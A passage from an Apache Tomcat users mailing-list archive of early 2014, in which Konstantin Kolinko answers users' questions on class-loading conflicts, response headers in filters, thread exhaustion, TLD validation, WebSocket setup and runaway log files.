> error but will make use of the replacement character when an error is
> detected. This will allow web applications to handle the URI which will
> most likely result in a 404 response. The fall-back to decoding with
> ISO-8859-1 if UTF-8 decoding fails has been removed. *Invalid UTF-8
> sequences in a request body will trigger an IOException.* The way the
> decoder is used has also been improved. The notable change is that invalid
> sequences at the end of the input now trigger an error rather than being
> silently swallowed. (markt) "
>
> so want to confirm whether this can be the root cause ? if not what would
> be the issue - as it works till version 7.0.37 and do not work after
> version 7.0.39 ? and how to fix this in the code ?
>
> --
> ~ Prashant Kadam

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: tomcat 6 refuses mod_jk connections after server runs for a couple of days

[Konstantin Kolinko]

2014-02-28 2:06 GMT+04:00 Isaac Gonzalez :
> Hi Christopher(and Konstantin), attached is a couple of thread dumps of when 
> we experienced the issue again today. I also noticed we get this message 
> right before the problem occurs:
> Feb 27, 2014 12:47:15 PM 
> org.apache.tomcat.util.threads.ThreadPool$ControlRunnable run
> SEVERE: Caught exception (java.lang.OutOfMemoryError: unable to create new 
> native thread) executing 
> org.apache.jk.common.ChannelSocket$SocketAcceptor@177ddea, terminating thread

That explains why a connection cannot be accepted.

I wonder are you hitting an "ulimit" limit,
or there is just not enough free memory to allocate stack area for a
new thread (which size is set by -Xss option to java executable).

Your thread dumps contain 149 threads each.

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Tomcat 7.0.52 issue on our Sun Sparc with SunOS 5.10

[Konstantin Kolinko]

2014-02-28 1:56 GMT+04:00 Jay :
> Hello,
>
> We newly installed Solaris 10 with all default settings on our Sun Sparc
> machine (sun4u sparc SUNW,UltraAX-i2 64-bit sparcv9 kernel modules).
> The OS Version: SunOS hostname 5.10 Generic_147147-26 sun4u sparc
> SUNW,UltraAX-i2.
>
> We downloaded and installed JDK packages as follows:
> jdk-7u51-solaris-sparc.z
> jdk-7u51-solaris-sparcv9.z
>
> The Java in the environment:
> java version "1.7.0_51"
> Java(TM) SE Runtime Environment (build 1.7.0_51-b13)
> Java HotSpot(TM) Client VM (build 24.51-b03, mixed mode, sharing)
>
> We downloaded the  apache-tomcat-7.0.52.tar.gz and just unpacked it in
> /export/home/tester.
> Then we started the Tomcat server just using ./startup.sh without change of
> any default settings.
> The Tomcat is started ok listening at 8080 and we can see the Tomcat main
> page on Web Browser at the port 8080.
> But there is SEVERE error in the logs as follows:
>   org.apache.catalina.core.StandardContext listenerStart
>   SEVERE: Error configuring application listener of class
> websocket.drawboard.DrawboardContextListener
>
> Is anyone aware about this issue? is it a configuration issue or environment
> issue?
> Will this issue affect the basic Tomcat functions?
> Can you please provide any clues or check points?
>
> Thanks,
> Jay
>
> PS. Here are the outputs from the logs:
>()
> INFO: Deploying web application directory
> /export/home/tester/apache-tomcat-7.0.52/webapps/examples
>(...)
> java.lang.ClassNotFoundException:
> websocket.drawboard.DrawboardContextListener


Does the following class file exist in your installation?
/export/home/tester/apache-tomcat-7.0.52/webapps/examples/WEB-INF/classes/websocket/drawboard/DrawboardContextListener.class

I have checked, that it is present in apache-tomcat-7.0.52.tar.gz, but
may be you had trouble unpacking it.  The *.tar.gz file requires GNU
Tar (as mentioned in README file on the download page), because of
some long file names.

You can download apache-tomcat-7.0.52.zip instead.

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Filter behaviour ( settinf Content-Length header )

[Konstantin Kolinko]

2014-02-27 18:31 GMT+04:00 Jose María Zaragoza :
>
> And what do you recommend to me for forcing to return  a Content-Type ?
> Some weird clients require it
>
> If I cannot do it with a Filter , where can I do it ?
>

You can do it in a Filter.

As I said,
1. The header must be set before writing anything to the output
stream. That is per HTTP/1.1 protocol.
2. The header must have correct value.

How to implement that is up to you (do not expect me to teach you java
programming, but maybe others here will do).

If you do not know the length before response is generated, a solution
can be to buffer the response before writing it out.

Buffering can be done by writing an adapter around servlet response
that replaces default output stream with a buffered one. The adapter
can be implemented by extending
javax.servlet.http.HttpServletResponseWrapper class.  Some caching
frameworks have filters that perform such buffering and caching.

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Issue while deploying a war file using Tomcat 7.0.52

[Konstantin Kolinko]

2014-02-27 15:36 GMT+04:00 Neha Munjal :
> Hi All,
>
> I am using Tomcat7.0.52 on Windows 7 64 Bit.
>
> The issue I am facing is that when I try to deploy a war file, I receive
> the following exception:
> *Caused by: java.lang.ClassCastException:
> org.hornetq.jms.client.HornetQJMSConnectionFactory cannot be cast to
> javax.jms.ConnectionFactory*
>
> The set up is as follows:
>
> We have an implementation of HornetQServer that basically starts up some
> JMS threads for application specific tasks. The client side implementation
> has a class org.hornetq.jms.client.HornetQJMSConnectionFactory that
> implements the interface javax.jms.ConnectionFactory. (jms-api.jar).
>
>
> As part of our customized ant target that we run to start the Tomcat, we
> have set the classpath that points to the location where we have
> jms-api.jar, which implies that these would be taken care of by the
> Bootstrap Loader.
> Additionally, we have added a location to common.loader setting in
> catalina.properties that contains some HornetQspecific jars that should be
> available to all deployables of our application.
> These would be taken care of by Common classloader.
>
> At the same time, we have jms-api.jar file in the /WEB-INF/lib directory of
> our deployable as well.
>
> Now when we deploy this war file, we get the above mentioned exception.
>
> I tried the same set up on Tomcat7.0.50 as well and there, no such
> exception is encountered.
>
> I would like to know the probable cause of this issue and why this is
> working fine on Tomcat7.0.50 and not 7.0.52. Any feedback wold be greatly
> appreciated.
>

So, of the two copies of "jms-api.jar" what are your expectations on
which one will be effective?

Also,
https://issues.apache.org/bugzilla/show_bug.cgi?id=56180#c2

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Filter behaviour ( settinf Content-Length header )

[Konstantin Kolinko]

2014-02-27 12:18 GMT+04:00 Jose María Zaragoza :
> Hello:
>
> I'm using Tomcat 6.0.24 and I'm testing how to return Content-Length header
> So I've defined a Filter and declared in web.xml of my web application
>
> If I do this:
>
> HttpServletResponse httpResponse = (HttpServletResponse) response;
> chain.doFilter(request, response);
> httpResponse.setHeader("Content-Length", "200");
>
> doesn't work ( it doesn't set the header and
> Transfer-Encoding:chunked is returned )
> )
>
> but
>
> HttpServletResponse httpResponse = (HttpServletResponse) response;
> httpResponse.setHeader("Content-Length", "200");
> chain.doFilter(request, response);
>
> does and it works OK
>
> Why ?
> Does anyone use a filter to set Content-Length header ?
> Must I declared in web.xml of Tomcat ?
>
>

1. Why are you using such an old build of 6.0.x?
2. You cannot set headers when any part of the response has already
been sent to client. At that time headers have already been sent over
the wire.
See ServletResponse.isCommitted().
3. You should be careful with that header. If you set it to a wrong
value you may break something.

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Tomcat 7.0.50 tldValidation

[Konstantin Kolinko]

2014-01-22 18:12 GMT+04:00 Paul Beckett :
> I've recently upgraded some of our tomcats from 7.0.47 to 7.0.50.
> After upgrading I got lots of the below errors recorded in catalina.out
> The errors are not logged if I disable tldValidation (either by settings 
> tldValidation=false in context.xml or removing the CATALINA_OPTS property: 
> org.apache.catalina.STRICT_SERVLET_COMPLIANCE=true .
> The errors occur in a number of applications, here is the beginning of one of 
> the TLD files that seems to cause this issue: encoding="UTF-8" ?>
> http://java.sun.com/xml/ns/j2ee";
> xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance";
> xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee 
> web-jsptaglibrary_2_0.xsd"version="2.0">
> Does anyone know:- Why this occurs only since 7.0.50- Where the root issue is 
> likely to be / how to fix it- Are there any significant downsides to turning 
> off tldValidation- The errors don't appear to have stopped things working, 
> can they be safely ignored
> Any advice / help would be greatly appreciated.
> Thanks,Paul

What version of PsiProbe you are using?

I am reproducing this with psi-probe 2.3.3 and
org.apache.catalina.STRICT_SERVLET_COMPLIANCE=true

> Jan 20, 2014 7:15:29 AM org.apache.tomcat.util.digester.Digester error
> SEVERE: Parse Error at line 6 column 19: ...

Note the first of the above two lines.
It says class and method that reported the error.
Each error is reported twice:
a) by Digester
b) by whatever component has called Digester.
The reports from Digester are useless here, because they do not
mention what XML file has the problem. So I added the following line
to logging.properties to silence them:

org.apache.tomcat.util.digester.Digester.level=OFF

> Jan 20, 2014 7:15:30 AM org.apache.tomcat.util.descriptor.XmlErrorHandler 
> logFindings
> WARNING: Warning [schema_reference.4: Failed to read schema document 
> 'web-jsptaglibrary_2_0.xsd', because 1) could not find the document; 2) the 
> document could not be read; 3) the root element of the document is not 
> .] reported processing 
> [jar:file:/tomcat/webapps/psi-probe/WEB-INF/lib/standard-1.1.0.jar!/META-INF/x.tld].

The above message says that the problem is with TLD files in standard-1.1.0.jar.

I see no issue with probe.tld.

If I replace "jstl-1.1.0.jar" and "standard-1.1.0.jar"
with version 1.1.2 of the same JSTL library  (from
examples/WEB-INF/lib of 7.0.52),
the problem goes away.

Those can be obtained from Maven, or from archives here:
http://archive.apache.org/dist/jakarta/taglibs/standard/binaries/


PsiProbe starts, but fails later when I access any JSP page, with
"org.apache.jasper.JasperException: XML parsing error on file
org.apache.tomcat.util.scan.MergedWebXml: (line 16, col 22)"

That is a known issue that is already fixed in 7.0.x.

The workaround is to update web.xml to a later version of
specification. E.g. copy  element tag from conf/web.xml.

After that psi-probe works successfully.


Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Issue running Websockets JSR356 with Tomcat 7.0.50 Embedded

[Konstantin Kolinko]

2014-02-25 19:14 GMT+04:00 Jacopo Cappellato :
> Any hints? I would really appreciate if someone could provide some pointers 
> (e.g. classes involved etc) about the implementation of the mechanism used to 
> discover and deploy endpoints; I will then try to study the code in order to 
> figure out why it doesn't work when I set jarScanner.setScanClassPath(false)

The discovery is done with an SCI
(javax.servlet.ServletContainerInitializer), as defined in
tomcat7-websocket.jar/META-INF/services.  The class name is
"org.apache.tomcat.websocket.server.WsSci".
It seems that you prevented its discovery by skipping that jar in your
JarScanner.


You can also bootstrap web sockets by defining a listener in web.xml
(org.apache.tomcat.websocket.server.WsContextListener).
That listener just starts and shuts down the websocket engine, it does
not scan for endpoints.

http://tomcat.apache.org/tomcat-7.0-doc/api/org/apache/tomcat/websocket/server/WsContextListener.html

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: tomcat 6 refuses mod_jk connections after server runs for a couple of days

[Konstantin Kolinko]

2014-02-24 23:27 GMT+04:00 Isaac Gonzalez :
> Hello all,
>
> I'm running tomcat 6.0.32

Can you upgrade to 6.0.39 or 7.0.52?

> on Cent OS 6 with 2 front end apache load balancers with a firewall in 
> between the tomcat and load balancers

A firewall between Apache HTTPD Server and Apache Tomcat?

Sometimes a firewall may drop a TCP connection without properly
terminating is. So your Tomcat might still think that it has 500 AJP
connections open and refuse new ones.

There have been several discussions on such issues over the years.

An old thread,
http://marc.info/?t=12181860762&r=1&w=2

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Tomcat 7.0.37 issue on our Sun Sparc

[Konstantin Kolinko]

2014-02-24 22:42 GMT+04:00 Jay :
> Hi Mark,
>
> Thank you for a quick response.
> It looks the Tomcat 7.0.37 is ok with Solaris 10 on other Sun Sparc machine
> ... could it be hardware related?
> Do you have any suggestion for us to capture that possible Shutdown command
> and/or possible SIGTERM?
>

1. In the FAQ
http://wiki.apache.org/tomcat/FAQ/Linux_Unix#Q3
-> "Tomcat dies after I log out!"

2. By the way,
> We downloaded the  apache-tomcat-7.0.37.tar.gz and just unpack it into /tmp.

In some system configurations the files in /tmp and/or in /var/tmp are
deleted after reboot.

3. It was not Shutdown command, because Tomcat 7 prints the following
log message when that happens:
"A valid shutdown command was received via the shutdown port."

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: port-offset

[Konstantin Kolinko]

2014-02-25 16:55 GMT+04:00 Ja kub :
> Hi
>
> Do you know if in Tomcat is something similar to jboss port-offset ?
>
> -Djboss.socket.binding.port-offset=100
>
> It would be convinient for starting several tomcats on the same operating
> system. No need to change ports in server.xml

Tomcat configuration files support ${property} substitutions.
How to define a port number property is up to you.

http://tomcat.apache.org/tomcat-7.0-doc/config/index.html

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Tomcat 7 on FreeBSD

[Konstantin Kolinko]

2014-02-23 20:42 GMT+04:00 Bobby Walker :
> I am new to using Tomcat, but I am being given a website from another server. 
>   I've setup and configured Tomcat 7 on FreeBSD 10.  I've got the webapp 
> installed and when I visit the page i get the information posted at the 
> bottom of the message.
>
> It appears to me that there's a problem with 
> org.apache.jasper.util.SystemLogHandler.   I have searched for this.  As far 
> as I can tell all of the right ports are installed on the server, 
> specifically I think maven2 is the one I need according to what little 
> information I could find on the topic.
>
> Any help on resolving this error would be very greatly appreciated.
>

How did you install Tomcat?
The correct way is to
1. Download "binary" archive for latest version from http://tomcat.apache.org/
2. Follow one of these instructions:
http://tomcat.apache.org/tomcat-7.0-doc/RUNNING.txt
http://tomcat.apache.org/tomcat-7.0-doc/setup.html

BTW, you do not need maven for this.

> Thank you,
>
> Bobby
>
> type Exception report
>
> message Servlet.init() for servlet jsp threw exception
>
> description The server encountered an internal error that prevented it from 
> fulfilling this request.
>
> exception
>
> javax.servlet.ServletException: Servlet.init() for servlet jsp threw exception
> 
> org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472)
> 
> org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:99)
> 
> org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:953)
> 
> org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:408)
> 
> org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1008)
> 
> org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:589)
> 
> org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:310)
> 
> java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1146)
> 
> java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
> java.lang.Thread.run(Thread.java:701)
>
> root cause
>
> java.lang.NoClassDefFoundError: org/apache/jasper/util/SystemLogHandler

There is no such class as "org.apache.jasper.util.SystemLogHandler" in
the current versions of Tomcat (6.x,7.x,8.x). It was removed 7 years
ago (r507751)

Check what libraries are installed with Tomcat and what libraries are
contained in your web application.

Either the web application is messed up (e.g. it bundles libraries
that Tomcat already contains, causing conflicts), or your
configuration of Tomcat itself.

Documentation on class loading in Tomcat 7:
http://tomcat.apache.org/tomcat-7.0-doc/class-loader-howto.html

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Unable to start Apache on Sun Solaris 10 due to illegal instruction

[Konstantin Kolinko]

2014-02-23 20:32 GMT+04:00 Nicole Lefeuvre :
> Hello
>
> I need your help if possible to resolve a critical issue.
>
> We had to shut down our Sun Solaris 10 server for a maintenance activity. 
> First, we stopped the applicaction and while doing that we had the following 
> message:
>
> [edms@nlxsl212] edms $ spastop
> Using CATALINA_BASE: /volumes/v1/edms/opt/tomcat
> Using CATALINA_HOME: /volumes/v1/edms/opt/tomcat
> Using CATALINA_TMPDIR: /volumes/v1/edms/opt/tomcat/temp
> Using JRE_HOME: /edms/opt/jdk1.6.0_30
> Using CLASSPATH: /volumes/v1/edms/opt/tomcat/bin/bootstrap.jar
> Illegal Instruction
> [edms@nlxsl212] edms $ spastart
> Using CATALINA_BASE: /volumes/v1/edms/opt/tomcat
> Using CATALINA_HOME: /volumes/v1/edms/opt/tomcat
> Using CATALINA_TMPDIR: /volumes/v1/edms/opt/tomcat/temp
> Using JRE_HOME: /edms/opt/jdk1.6.0_30
> Using CLASSPATH: /volumes/v1/edms/opt/tomcat/bin/bootstrap.jar
> Illegal Instruction
>
> It stopped anyway.

What is your proof that it stopped?

What is in the logs ($CATALINA_BASE/logs)?

> But when we had to restart the application, it failed. Apache does not want 
> to start.
>
> We tried to stop and start again. Same issue.
>
> We have Tomcat 6.0. and Apache 2.2.24
>

The rules
http://tomcat.apache.org/lists.html#tomcat-users

-> 1."please state your exact Tomcat version"

> We would appreciate a prompt answer.
>

Your "spastop" and "spastart" are not our scripts, so no clue what
they are doing.

It is up to you to provide any real information about your system.

As Tomcat output is usually redirected to a
$CATALINA_BASE/logs/catalina.out file,  I would say that the "Illegal
Instruction" message is not from Tomcat (a java application) but from
within a shell script that you are using to launch it.

You have to find out
1) whether the script has any effect on Tomcat
(that is whether it launches java or if it aborts execution before that).

2) what line of the script fails
(e.g. by adding some echo statements or "set -x")

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Tomcat 7.0.52/stdout & stderr not created

[Konstantin Kolinko]

2014-02-21 0:56 GMT+04:00 Petr Nemecek :
> Hello,
>
> I've been using Tomcat 7.0.47   on Windows Server 2012 R2.
>
> Today I tried to update to 7.0.52, but had a problem, that even if the
> configurations seem to be the same, *stdout*.log and *stderr*.log are not
> created on logs folder for 7.0.52. In 7.0.47 (and previous versions) this
> worked automatically without any additional configuration.

If you installed it with service.bat, then yes.

See "Re r1567742" thread on dev list
http://mail-archives.apache.org/mod_mbox/tomcat-dev/201402.mbox/%3CCABzHfVngLtpr5LGB-igXSOAFt%2BrEg03co1DOHdZixe%2BSoxy9Rw%40mail.gmail.com%3E
-> Minor -> 2)

This is already fixed for 7.0.53.

You can edit those settings with Service Configuration application
(Tomcat7w.exe).


> I tried to install 7.0.50, and both stdout and sterr are also automatically
> created.
>
> Is there any change in 7.0.52 from last versions?
>
> Many thanks,
>  Petr
>
> P.S. When I start 7.0.52 using startup.bat, I normally see all the logs in
> the console window.
>

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Exception in thread "http-bio-8081-exec-9" java.lang.StackOverflowError

[Konstantin Kolinko]

2014-02-18 13:49 GMT+04:00 Dilip Sankhla :
> * I am getting below mention error, every thing was working fine with
> tomcat 6. Please Help
>
>
> My tomcat and java configurations are
>
> Server version: Apache Tomcat/7.0.50
> Server built:   Dec 19 2013 10:18:12
> Server number:  7.0.50.0
> OS Name:Mac OS X
> OS Version: 10.7.5
> Architecture:   x86_64
> JVM Version:1.7.0_51-b13
> JVM Vendor: Oracle Corporation
>

How do you launch it?

Check your launch configuration options for java.
What is your stack size  that it overflows after a dozen of function calls?

>
> and thread dump is
>
>
> Exception in thread "http-bio-8081-exec-9" java.lang.StackOverflowError
> at java.net.SocketInputStream.socketRead0(Native Method)
>at java.net.SocketInputStream.read(SocketInputStream.java:152)
> at java.net.SocketInputStream.read(SocketInputStream.java:122)
> at 
> org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:516)
> at 
> org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:501)
> at 
> org.apache.coyote.http11.Http11Processor.setRequestLineReadTimeout(Http11Processor.java:173)
> at 
> org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:950)
> at 
> org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:607)
> at 
> org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:315)
> at 
> java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
> at 
> java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
> at java.lang.Thread.run(Thread.java:744)

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Unable to shutdown tomcat

[Konstantin Kolinko]

2014-02-17 2:16 GMT+04:00 Tim Leung :
> Can someone please help me?
>
>
> On Sun, Feb 16, 2014 at 12:05 PM, Tim Leung  wrote:
>>
>> "main" prio=5 tid=7fe82c001800 nid=0x10448e000 runnable [10448b000]
>>java.lang.Thread.State: RUNNABLE
>> at sun.security.pkcs11.wrapper.PKCS11.C_GetSlotList(Native Method)
>> at sun.security.pkcs11.SunPKCS11.(SunPKCS11.java:314)
>>  at sun.security.pkcs11.SunPKCS11.(SunPKCS11.java:86)
>> at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
>>  at
>> sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:39)
>> at
>> sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:27)
>>  at java.lang.reflect.Constructor.newInstance(Constructor.java:513)
>> at sun.security.jca.ProviderConfig$4.run(ProviderConfig.java:262)
>>  at java.security.AccessController.doPrivileged(Native Method)
>> at sun.security.jca.ProviderConfig.doLoadProvider(ProviderConfig.java:244)
>>  at sun.security.jca.ProviderConfig.getProvider(ProviderConfig.java:224)
>> - locked <7f42b0110> (a sun.misc.Launcher$AppClassLoader)
>>  at sun.security.jca.ProviderList.loadAll(ProviderList.java:264)
>> at sun.security.jca.ProviderList.removeInvalid(ProviderList.java:281)
>>  at sun.security.jca.Providers.getFullProviderList(Providers.java:129)
>> - locked <7fb0bfef0> (a java.lang.Class for sun.security.jca.Providers)
>>  at java.security.Security.getProviders(Security.java:421)
>> at
>> org.apache.catalina.core.JreMemoryLeakPreventionListener.lifecycleEvent(JreMemoryLeakPreventionListener.java:407)
>>  at
>> org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent(LifecycleSupport.java:119)
>> at
>> org.apache.catalina.util.LifecycleBase.fireLifecycleEvent(LifecycleBase.java:90)
>>  at
>> org.apache.catalina.util.LifecycleBase.setStateInternal(LifecycleBase.java:402)
>> - locked <7f42b6328> (a org.apache.catalina.core.StandardServer)
>>  at org.apache.catalina.util.LifecycleBase.init(LifecycleBase.java:99)
>> - locked <7f42b6328> (a org.apache.catalina.core.StandardServer)
>>  at org.apache.catalina.startup.Catalina.load(Catalina.java:639)
>> at org.apache.catalina.startup.Catalina.load(Catalina.java:664)
>>  at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>> at
>> sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
>>  at
>> sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
>> at java.lang.reflect.Method.invoke(Method.java:597)
>>  at org.apache.catalina.startup.Bootstrap.load(Bootstrap.java:281)
>> at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:455)
>>


Wait awhile, take several thread dumps  and look whether there is any
change in state of the "main" thread.

If "main" thread has reached "StandardServer.await()" then you can
shutdown Tomcat gracefully.
If it has not, graceful shutdown is not possible, as it does not yet
listen on the shutdown port.

If there is no change, then at this point (in
JreMemoryLeakPreventionListener) nothing has really started yet and
there is no need in "grace" shutdown.

Cannot say anything about PKCS11. Does it always hang there?

(It is possible to skip that step in JreMemoryLeakPreventionListener
by setting tokenPollerProtection="false", but docs say that the same
initialization will happen later, when generating session ids.
http://tomcat.apache.org/tomcat-7.0-doc/config/listeners.html
)

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Eclipse: Server Tomcat v7.0 Server at localhost failed to start.

[Konstantin Kolinko]

2014-02-14 18:13 GMT+04:00 JB MORLA :
> Maybe you added a .jar file to the build path and there is a conflict with
> the jars already present in Eclipse and Tomcat.
> My solution was to remove the jars.

+1.

> On Thu, Feb 13, 2014 at 10:27 PM, Dave Kennedy  wrote:
>
>> Env:
>> Windows 7
>> Java: jdk1.7.0_51
>> STS 3.4.0.RELEASE  (Based on Eclipse 4.3.1)
>> Tomcat: apache-tomcat-7.0.50
>>
>>
>> INFO: Starting Servlet Engine: Apache Tomcat/7.0.50
>> Feb 13, 2014 1:17:22 PM org.apache.catalina.core.ContainerBase
>> startInternal
>> SEVERE: A child container failed during start
>> java.util.concurrent.ExecutionException:
>> java.lang.ExceptionInInitializerError
>> at java.util.concurrent.FutureTask.report(FutureTask.java:122)
>> at java.util.concurrent.FutureTask.get(FutureTask.java:188)
>> at
>>
>> org.apache.catalina.core.ContainerBase.startInternal(ContainerBase.java:1123)
>> at
>> org.apache.catalina.core.StandardHost.startInternal(StandardHost.java:801)
>> at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
>> at
>>
>> org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1559)
>> at
>>
>> org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1549)
>> at java.util.concurrent.FutureTask.run(FutureTask.java:262)
>> at
>>
>> java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
>> at
>>
>> java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
>> at java.lang.Thread.run(Thread.java:744)
>> Caused by: java.lang.ExceptionInInitializerError
>> at
>>
>> org.apache.catalina.startup.ContextConfig.createWebXmlDigester(ContextConfig.java:522)
>> at
>> org.apache.catalina.startup.ContextConfig.init(ContextConfig.java:843)


A NPE there in 7.0.50 happens when one of {servlet-api.jar,
jsp-api.jar} files is not found  (as has been discussed previously on
this mailing list).

You may want to try 7.0.52 that is currently being voted on dev@.

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Problem using maven-tomcat7-plugin with RESTEasy

[Konstantin Kolinko]

2014-02-13 0:54 GMT+04:00 Evan B :
> Hello,
>
> I am wondering if someone form this mailing list will be able to take a
> look at a question that I posted on Stackoverflow regarding using
> maven-tomcat7-plugin with a RESTEasy Maven project:
> http://stackoverflow.com/questions/21734564/unable-to-startup-resteasy-maven-project-through-tomcat7-maven-plugin-execution.
> I am able to run my project locally using the Jetty Maven plugin, but not
> Tomcat.

>From a quick look,
your "javax.servlet-api" dependency has wrong scope.
It shall use provided, as that API is already provided
by Tomcat and should not be bundled with a web application.

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: catalina.out growing very fast

[Konstantin Kolinko]

2014-02-10 5:53 GMT+04:00 Pooja Swamy :
> Hi,
>
> I am on a bridge call in the middle of a critical Production issue, and I
> need some urgent help. I am using Tomcat 7.0.x, and my catalina.out file is
> growing very fast. It is currently at 50 GB. I am frequently rotating the
> file, but no luck.

Add
CATALINA_OUT=/dev/null
to your setenv.sh file?
A dirty trick, but might do if you are not reading those files anyway.

> I have referred to multiple posts including the Tomcat
> reference library, and commented the ConsoleHandler from my list of
> handlers.

Each web application can have its own logging library and its own
configuration of logging.

Note that ConsoleHandler is still present in configuration that you cited below.

> However, there is no difference. Based on my observation, the
> file is filling up with INFO messages being written to the file. I see
> close to 10-12 such messages getting generated every second. I am not sure
> where these messages are coming from as I don't have these in my
> application code.

Try googling. If the software is opensource,  the source is somewhere out there.

Try searching strings among class files in your jars.

java.util.logging and Log4J usually provide some context, e.g. class
name that wrote the log message.


> So please need your urgent help with the below issues - Nothing more, no
>
> 1. What are these various messages written to catalina.out?

Just something that something wrote to stdout or stderr.
Anything can write there. Nothing more, nothing less.

> 2. Why are logging messages typically of log4j logging in catalina.out?

Something is configured that way,

> 3. What other messages are written to this file?

No clue.

> 4. How can I prevent the INFO messages from being written to catalina?

Either do not generate them (level at logger in JULI, at category in log4j),
or filter them before writing them out (level at handler in JULI,
level at appender in Log4J).

Either way, you have first to figure what writes those messages and
what configuration file is responsible.

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Tomcat 7 and manager issues on VirtualHost environnement

[Konstantin Kolinko]

2014-02-07 Gaël THEROND :
> Hello everyone,
>
> I'm facing a really strange issue since about two or three days now.
>
> I've got a Tomcat Server, which contain a virtualhost like this:
>
()
>
> If I start my tomcat instance, everything is fine, tomcat is launching
> correctly without error, and correctly create the virtual host under the
> ${catalina_base}/conf/Catalina/
>
> I can see on the catalina.out log file that tomcat even create the
> manager.xml to be able to have an isolated manager for this host.
>
> the manager.xml file is correct.
>
> However, if I try to upload a WAR I'm facing a 403 error coming from tomcat.
> Where I didn't get it, it's that on my main manager everything is fine, I
> can log in and load a WAR correctly.
>

So, you are able to visit the "applications list" page in Manager, but
upload of a WAR file results in 403?

The page 403 in manager can be result of CSRF protection,
For example, if your session has expired. The session is needed,
because CsrfPreventionFilter stores protection token in the session.

I wonder whether SingleSignOn affects this.
What authentication schema are you using? The manager app uses BASIC by default.

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: UserDatabase resource into META-INF/context.xml

[Konstantin Kolinko]

2014-02-06 Jose María Zaragoza :
> Hello:
>
> I'm using Tomcat 6.0.24
>
> I want to set a realm per only one application, so I define in its
> META-INF/context.xml
>
> 
> 
>   description="User database that can be updated and saved"
